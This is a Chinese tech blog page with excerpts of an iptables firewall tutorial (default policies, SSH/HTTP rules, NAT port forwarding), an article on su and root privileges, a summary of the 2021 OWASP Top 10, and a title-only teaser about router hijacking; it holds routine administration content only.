参数可以使IP地址、网络地址、主机名 例如:-s 192.168.1.101指定IP地址 例如:-s 192.168.1.10/24指定网络地址 如果不指定-s参数,就代表所有地址 还可以使用–src或者–source-d 目的地址(destination) 指定目的地址 参数和-s相同 还可以使用–dst或者–destination-j 执行目标(jump to target) -j代表”jump to target” -j指定了当与规则(Rule)匹配时如何处理数据包 可能的值是ACCEPT, DROP, QUEUE, RETURN 还可以指定其他链(Chain)作为目标-i 输入接口(input interface) -i代表输入接口(input interface) -i指定了要处理来自哪个接口的数据包 这些数据包即将进入INPUT, FORWARD, PREROUTE链 例如:-i eth0指定了要处理经由eth0进入的数据包 如果不指定-i参数,那么将处理进入所有接口的数据包 如果出现! -i eth0,那么将处理所有经由eth0以外的接口进入的数据包 如果出现-i eth+,那么将处理所有经由eth开头的接口进入的数据包 还可以使用–in-interface参数-o 输出(out interface) -o代表”output interface” -o指定了数据包由哪个接口输出 这些数据包即将进入FORWARD, OUTPUT, POSTROUTING链 如果不指定-o选项,那么系统上的所有接口都可以作为输出接口 如果出现! -o eth0,那么将从eth0以外的接口输出 如果出现-i eth+,那么将仅从eth开头的接口输出 还可以使用–out-interface参数 3.描述规则的扩展参数 对规则有了一个基本描述之后,有时候我们还希望指定端口、TCP标志、ICMP类型等内容。 –sport 源端口(source port)针对 -p tcp 或者 -p udp 缺省情况下,将匹配所有端口 可以指定端口号或者端口名称,例如”–sport 22″与”–sport ssh”。 /etc/services文件描述了上述映射关系。 从性能上讲,使用端口号更好 使用冒号可以匹配端口范围,如”–sport 22:100″ 还可以使用”–source-port”–-dport 目的端口(destination port)针对-p tcp 或者 -p udp 参数和–sport类似 还可以使用”–destination-port”-–tcp-flags TCP标志 针对-p tcp 可以指定由逗号分隔的多个参数 有效值可以是:SYN, ACK, FIN, RST, URG, PSH 可以使用ALL或者NONE-–icmp-type ICMP类型 针对-p icmp –icmp-type 0 表示Echo Reply –icmp-type 8 表示Echo 4.追加规则的完整实例:仅允许SSH服务 本例实现的规则将仅允许SSH数据包通过本地计算机,其他一切连接(包括ping)都将被拒绝。 # 1.清空所有iptables规则 iptables -F # 2.接收目标端口为22的数据包 iptables -A INPUT -i eth0 -p tcp --dport 22 -j ACCEPT # 3.拒绝所有其他数据包 iptables -A INPUT -j DROP 六、更改默认策略 上例的例子仅对接收的数据包过滤,而对于要发送出去的数据包却没有任何限制。本节主要介绍如何更改链策略,以改变链的行为。 1. 默认链策略 /!\警告:请勿在远程连接的服务器、虚拟机上测试! 当我们使用-L选项验证当前规则是发现,所有的链旁边都有policy ACCEPT标注,这表明当前链的默认策略为ACCEPT: # iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination ACCEPT tcp -- anywhere anywhere tcp dpt:ssh DROP all -- anywhere anywhere Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination 这种情况下,如果没有明确添加DROP规则,那么默认情况下将采用ACCEPT策略进行过滤。除非: a)为以上三个链单独添加DROP规则: iptables -A INPUT -j DROP iptables -A OUTPUT -j DROP iptables -A FORWARD -j DROP b)更改默认策略: iptables -P INPUT DROP iptables -P OUTPUT DROP iptables -P FORWARD DROP 糟糕!!如果你严格按照上一节的例子配置了iptables,并且现在使用的是SSH进行连接的,那么会话恐怕已经被迫终止了! 为什么呢?因为我们已经把OUTPUT链策略更改为DROP了。此时虽然服务器能接收数据,但是无法发送数据: # iptables -L Chain INPUT (policy DROP) target prot opt source destination ACCEPT tcp -- anywhere anywhere tcp dpt:ssh DROP all -- anywhere anywhere Chain FORWARD (policy DROP) target prot opt source destination Chain OUTPUT (policy DROP) target prot opt source destination 七、配置应用程序规则 尽管5.4节已经介绍了如何初步限制除SSH以外的其他连接,但是那是在链默认策略为ACCEPT的情况下实现的,并且没有对输出数据包进行限制。本节在上一节基础上,以SSH和HTTP所使用的端口为例,教大家如何在默认链策略为DROP的情况下,进行防火墙设置。在这里,我们将引进一种新的参数-m state,并检查数据包的状态字段。 1.SSH # 1.允许接收远程主机的SSH请求 iptables -A INPUT -i eth0 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT # 2.允许发送本地主机的SSH响应 iptables -A OUTPUT -o eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT -m state: 启用状态匹配模块(state matching module) –-state: 状态匹配模块的参数。当SSH客户端第一个数据包到达服务器时,状态字段为NEW;建立连接后数据包的状态字段都是ESTABLISHED –sport 22: sshd监听22端口,同时也通过该端口和客户端建立连接、传送数据。因此对于SSH服务器而言,源端口就是22 –dport 22: ssh客户端程序可以从本机的随机端口与SSH服务器的22端口建立连接。因此对于SSH客户端而言,目的端口就是22 如果服务器也需要使用SSH连接其他远程主机,则还需要增加以下配置: # 1.送出的数据包目的端口为22 iptables -A OUTPUT -o eth0 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT # 2.接收的数据包源端口为22 iptables -A INPUT -i eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT 2.HTTP HTTP的配置与SSH类似: # 1.允许接收远程主机的HTTP请求 iptables -A INPUT -i eth0 -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT # 1.允许发送本地主机的HTTP响应 iptables -A OUTPUT -o eth0 -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT 3.完整的配置 # 1.删除现有规则 iptables -F # 2.配置默认链策略 iptables -P INPUT DROP iptables -P FORWARD DROP iptables -P OUTPUT DROP # 3.允许远程主机进行SSH连接 iptables -A INPUT -i eth0 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT iptables -A OUTPUT -o eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT # 4.允许本地主机进行SSH连接 iptables -A OUTPUT -o eth0 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT iptables -A INPUT -i eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT # 5.允许HTTP请求 iptables -A INPUT -i eth0 -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT iptables -A OUTPUT -o eth0 -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT 配置转发端口示例 iptables -t nat -I PREROUTING -p tcp --dport 3389 -j DNAT --to 38.X25.X.X02 iptables -t nat -I POSTROUTING -p tcp --dport 3389 -j MASQUERADE NAT规则实战举例: 需求 把本地的mysql 3306端口映射出去变成63306,外面连接的语句是 mysql -uroot -p'password' -h xxxxx -P 63306 注:当访问63306的时候,会自动去请求3306,然后返回数据。 实现 先允许数据包转发 echo 1 >/proc/sys/net/ipv4/ip_forwardsysctl -w net.ipv4.conf.eth0.route_localnet=1sysctl -w net.ipv4.conf.default.route_localnet=1 nat规则 iptables -t nat -A PREROUTING -p tcp -m tcp --dport 63306 -j DNAT --to-destination 127.0.0.1:3306iptables -t nat -A POSTROUTING -p tcp -m tcp --dport 63306 -j SNAT --to-source 127.0.0.1 注:这是允许所有外来的IP访问,慎用。 我们来做个ip限制,限制单个来源IP iptables -t nat -R PREROUTING 4 -s 192.168.40.154 -p tcp -m tcp --dport 63306 -j DNAT --to-destination 127.0.0.1:3306iptables -t nat -R POSTROUTING 4 -s 192.168.40.154 -p tcp -m tcp --dport 63306 -j SNAT --to-source 127.0.0.1 注:这是只给外网的192.168.40.154连接, 其他的都连不上, 修改规则(4代表编号, --line-number可查看对应编号, -s 指定来源IP)。 查看nat规则 iptables -L -t nat --line-number 删除nat规则 iptables -t nat -D POSTROUTING 1-A 追加规则-->iptables -A INPUT-D 删除规则-->iptables -D INPUT 1(编号)-R 修改规则-->iptables -R INPUT 1 -s 192.168.12.0 -j DROP 取代现行规则,顺序不变(1是位置)-I 插入规则-->iptables -I INPUT 1 --dport 80 -j ACCEPT 插入一条规则,原本位置上的规则将会往后移动一个顺位-L 查看规则-->iptables -L INPUT 列出规则链中的所有规则-N 新的规则-->iptables -N allowed 定义新的规 ...

    2021-09-29 460
  • Linux系统中的root用户管理

    超级用户在操作系统管理中的作用 1. 可以对任何文件、目录或进程进行操作 超级用户的操作是在系统最高许可范围内的操作,有些操作就是具有超级权限的root也无法完成。比如/proc目录,/proc是用来反应系统运行的实时状态信息的,因此即便是root也无法对其进行写操作。 2. 对涉及系统全局的系统管理 硬件管理、文件系统管理、用户管理以及涉及的系统全局配置等,如果执行某个指令或工具时,提示无权限,大多是需要超级权限来完成。比如用adduser来添加用户,这跟只能使用通过超级权限的用户来完成。 普通用户授予root权限 1. su指令 su是英文“switch user”的缩写,即切换用户。使用su指令切换到其他用户模式,提示输入密码时,该密码为切换后账户的密码,用法为:su 账户名称 如果后面不加账户时默认为root账户,密码也为超级账户的密码。没有时间限制。 2. su指令使用条件 su指令就是切换用户的工具,当前系统登录为普通用户handuoduo,但要完成添加用户任务,执行useradd指令后,提示普通用户handuoduo没有权限,而这跟权限恰恰由root所拥有。解决的办法有两个: 1)退出handuoduo用户,重新以root用户登录,但这种办法并不是最好的。 2)不退出handuoduo用户,可以用su来切换到root下进行添加用户的工作,等任务完成后再退出root。 我们可以看到当然通过su切换是一种比较好的办法。 通过su可以在用户之间切换,超级权限用户root向普通或虚拟用户切换不需要密码,而普通用户切换到其他任何用户都需要密码验证。 3. su指令用法 su指令常用的选项如下所示: -c, -command  执行相关指令,然后退出所切换到的用户环境 -l, -login  登录并改变到所切换的用户环境。 关于su指令更详细的使用,可以参考man su 4. su指令实例 su指令在不加任何参数,默认为切换到root用户,但没有转到root用户主目录的情况下,也就是说这时虽然是切换为root用户了,但并没有改变root登录环境,即用户默认登录环境。可以在/etc/passwd中查到,包括主目录、shell定义等。 #普通用户切换到root用户$ whoamihanduoduo$ suPassword:$ whoamiroot 在上述代码中,普通用户模式下,直接输入su指令即可切换到root用户,su加参数“-”表示默认切换到root用户,并且改变到root用户的环境。 # 普通用户切换到root用户并改变环境变量$whoamihanduoduo$ suPassword:$ whoamiroot$ echo $PATH/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/handuoduo/bin$ exitexit$ su -Password:$ whoamiroot$ echo $PATH/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin su 指令加上 “-” 参数,目标用户的环境变量一起被切换,“su 参数 - 用户名”,下面代码和上述实例中的作用相同。 $whoamihanduoduo$ suPassword:$ whoamiroot$ echo $PATH/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/handuoduo/bin$ exitexit$ su - rootPassword:$ whoamiroot$ echo $PATH/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin “su - root”指令和“su -”功能相同。 5. su 的优缺点 su的确为管理带来方便,通过切换到root下,能完成所有系统管理工具。只要把root的密码交给任何一个普通用户,它都能切换到root来完成所有的系统管理工作。但通过su切换到root后,也有不安全因素,比如系统有10个用户,而且都参与管理。如果这10个用户都涉及超级权限的运用,作为管理员如果让其他用户通过su来切换到超级权限的root,必须把root权限密码都告诉这10个用户;如果这10个用户都有root权限,通过root权限可以做任何事,这在一定程度上就对系统的安全造成了威胁。 “没有不安全的系统,只有不安全的人”,我们不能保证这10个用户都能按正常操作流程来管理系统,这其中任何一个人对系统操作的重大失误,都可能导致系统崩溃或数据损失。所以su工具在多人参与的系统管理中,并不是最好的选择。 总结 su - root 和 su root 指令的区别如下: su指令后面不加用户是默认切换到root; su指令不改变当前变量; “su -”指令组合改变为切换到用户的变量; su指令只能获得root的执行权限,不能获得环境变量; “su -”指令组合是切换到root用户,并获得root用户的环境变量及执行权限。 ...

    2021-09-29 426
  • 物理黑客手把手教你劫持路由器

    制定详细的渗透计划趁管理员不在控制内网权限 ...

    2021-09-29 505
  • 2021 OWASP十大应用安全风险

    2021年的Top 10 里出现了3个新主题、4个命名与范围发生变化的主题,此外还进行了一些合并。 A01 :越权访问(2021-Broken Access Control) 从2017年的第5位上升至第1位。超过94%的app都经历过某种形式的越权访问控制测试。对应到越权访问有34个CWE,比任何其它在app中出现的主题次数都多。  A02:加密失败(2021-Cryptographic Failures ) 较2017年相比上升1位至第2位。以前被称为敏感数据公开(Sensitive Data Exposure),但只是一种基本症状表现,并不是根本原因。最新版OWASP重新聚焦于与密码学相关的缺陷,这些缺陷通常会导致敏感数据公开或系统受损。  A03:注入(2021-Injection) 较2017版相比下滑至第3位。超过94% 的app都针对各种形式的注入进行了测试。对应到注入有33 个CWE,在app中出现的次数位列第二。跨站脚本攻击(XSS)目前属于现版本中注入的一部分。  A04:不安全设计(2021-Insecure Design) 2021年Top 10的新主题,重点关注了与设计缺陷相关的风险。如果我们真的想作为一个行业发展,就需要更多地使用威胁模型分析、安全设计模式和原则以及参考架构。  A05:安全性错误配置(2021-Security Misconfiguration) 较前版的第6位相比上升1位。90% 的app都需要经过某种形式的错误配置测试。随着更多转向高度可配置的软件,也就不奇怪为什么这个主题排名能够上升了。之前的XXE主题现在也属于A05类别。  A06:易受攻击与过时组件(2021-Vulnerable and Outdated Components) 前版名称是“应用已知漏洞组件”(Known Vulnerabilities),在行业调查中位列第2,并有足够的数据通过数据分析进入Top 10排名。该类别从 2017 年的第9位上升,是一个难以测试和评估风险的已知问题。这是唯一没有任何CVE可以对应到已归结CWE的主题,因此以默认的利用和影响权重5.0计入评分标准。  A07:身份验证与认证失败(2021-Identification and Authentication Failures) 以前称为错误认证(Broken Authentication),从第2位下滑至第7位。现在包括与识别失败更多相关的 CWE。有着标准化框架可用性增加的帮助,该主题仍然是前10的一个组成部分。  A08:软件和数据完整性故障(2021-Software and Data Integrity Failures) 2021 年的一个新主题,着眼于在不验证完整性的情况下,做出与软件更新、关键数据和 CI/CD 管道相关的假设。CVE/CVSS 数据中最高加权影响之一可以对应到A08中的10个CWE。2017年的不安全反序列化(Insecure Deserialization) 现属于A08的一部分。  A09:安全日志记录和监控失败(2021- Security Logging and Monitoring Failures) 以前被称为日志记录和监控不足( Insufficient Logging &Monitoring )。是从行业调查第3位中添加的,从之前的第10位上升。A09被扩大成为一个能够包含更多故障类型的主题,对于我们进行测试有一定的挑战性,而且在 CVE/CVSS 数据中也没有很好的表现。但是,A09类故障会直接影响到可见(visibility)、事件警报(incident alerting)和取证(forensics)的准确性。  A10:服务器端请求伪造(2021-Server-Side Request Forgery) A10是直接从行业调查第1位中添加的。数据显示,在高于平均水平的测试里,A10的发生率相对较低,但Exploit和潜在的Impact都高于平均水平。这也正表示了行业专业人士在告诉我们,就算目前数据中没有显示出来,服务器请求伪造还是很重要的事实。  评选方式 新版Top 10的评选比以前都看重数据,但并非盲目受数据影响。OWASP从各方贡献的数据中选择了10个主题中的8个,然后从高水平行业调查中选择了剩下的2个。这样做的根本原因是,查看贡献的数据就等于是回顾过去。AppSec研究人员花了大量时间去寻找新的漏洞和测试它们的新方法,但将这些测试运用到实际工具和流程中还需要等待一段时间。等到能够可靠地进行大规模测试时,时间可能已经过去了很久。为了平衡这点,就应该将行业调查利用起来。去询问专业的一线人员,关于他们所发现的可能还尚未在数据中显示出来的漏洞。 这就是OWASP采用的为了使Top 10变得更加成熟的关键变化措施。  怎样归纳出各个主题? 与上一期OWASP Top 10相比,一些主题发生了改变。以下是关于主题变更的高级摘要。以前的数据收集工作集中在大约 30 个CWE的规定子集上,并要求有1个额外发现的领域。OWASP了解到,组织将主要关注那 30 个 CWE,很少添加他们看到的其它CWE。本次迭代中OWASP完全抱着开放心态,只询问数据,对CWE没有设置任何限制。他们查询了从 2017 年开始测试的应用程序数量,以及在测试中发现至少一个 CWE实例的应用程序数量。这种形式使OWASP能够跟踪每个CWE在应用程序群体中的活跃程度。应用程序有4个CWE实例还是4000个实例,都不是影响进入Top 10的因素。在大约30个CWE到近400个CWE的跨度下,对数据集中进行了分析。未来将计划做额外的数据分析作为补充。这种在CWE数量需求上的增加会影响到提炼、归纳主题的方式。 OWASP用了好几个月的时间对 CWE 进行分组和分类,本需要再多花几个月,但他们不得不停下来。CWE可以分为“根本原因(root cause)”和“症状表现(symptom type)”类型,其中根本原因类型如“加密失败”和“错误配置”,可以和“敏感数据暴露”和“拒绝服务”等症状表现类型形成对比。OWASP决定尽可能关注根本原因,因为在提供识别和补救建议方面,根本原因更加重要。关注根本原因而不是症状表现,这并不是一个新概念。Top 10便是症状表现和根本原因的混合体,CWE也同样是症状表现和根本原因的混合体。现版本中每个类别平均有 19.6 个 CWE,A10:2021-服务器端请求伪造(SSRF) 的下限为 1 个 CWE,而 A04:2021-不安全设计中的 CWE 下限为 40 个。现版本更新的归纳法其实提供了额外的培训好处,比方公司可以专注于对语言/框架有意义的 CWE。  在归纳过程中,我们如何使用数据? 2017年,OWASP根据事件发生概率来挑选各种主题,然后通过团队讨论,根据以往数十年的可利用性(exploitability)、可检测性(Detectability,也是可能性)和技术影响(Technical Impact)这三点来进行了排名。对于 2021 年,OWASP选择将数据用于利用(Exploit)和影响(Impact)的统计。 OWASP下载了OWASP Dependency Check,并提取了按相关CWE分组的CVSS 利用和影响的分数。这需要他们用一段时间去研究,因为所有CVE都有 CVSSv2 分数,但CVSSv2中存在CVSSv3应该解决的缺陷。过了段时间,所有CVE都被标上了CVSSv3 分数,并且CVSSv2与CVSSv3的评分范围和公式也进行了更新。 在 CVSSv2 中,利用和影响最大可以达到 10.0分,但公式会将它们的分数降低,利用只剩60%,影响下降至原本的40%。在CVSSv3 中,利用的理论最大分数限制为 6.0,影响的理论最大分数限制为4.0。考虑到权重,影响的评分在 CVSSv3 中平均上升了近1.5,而利用的评分平均下降了0.5。 OWASP Dependency Check提取的NVD数据中,有125000条CVE对应到CWE的记录,对应到CVE的特殊CWE有241条。62000条 CWE有CVSSv3 分数,大约是数据集数量的一半。 对于Top 10,OWASP按以下方式计算平均利用和影响分数。按CWE将所有有CVSS分数的CVE分组,并通过“有 CVSSv3数量的百分比”+“剩余有CVSSv2 的数量”,对利用和影响进行加权,获得了总体平均值。再将这些平均值对应到数据集中CWE,以用作另一半的风险等式的利用和影响评分。...

    2021-09-13 506

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注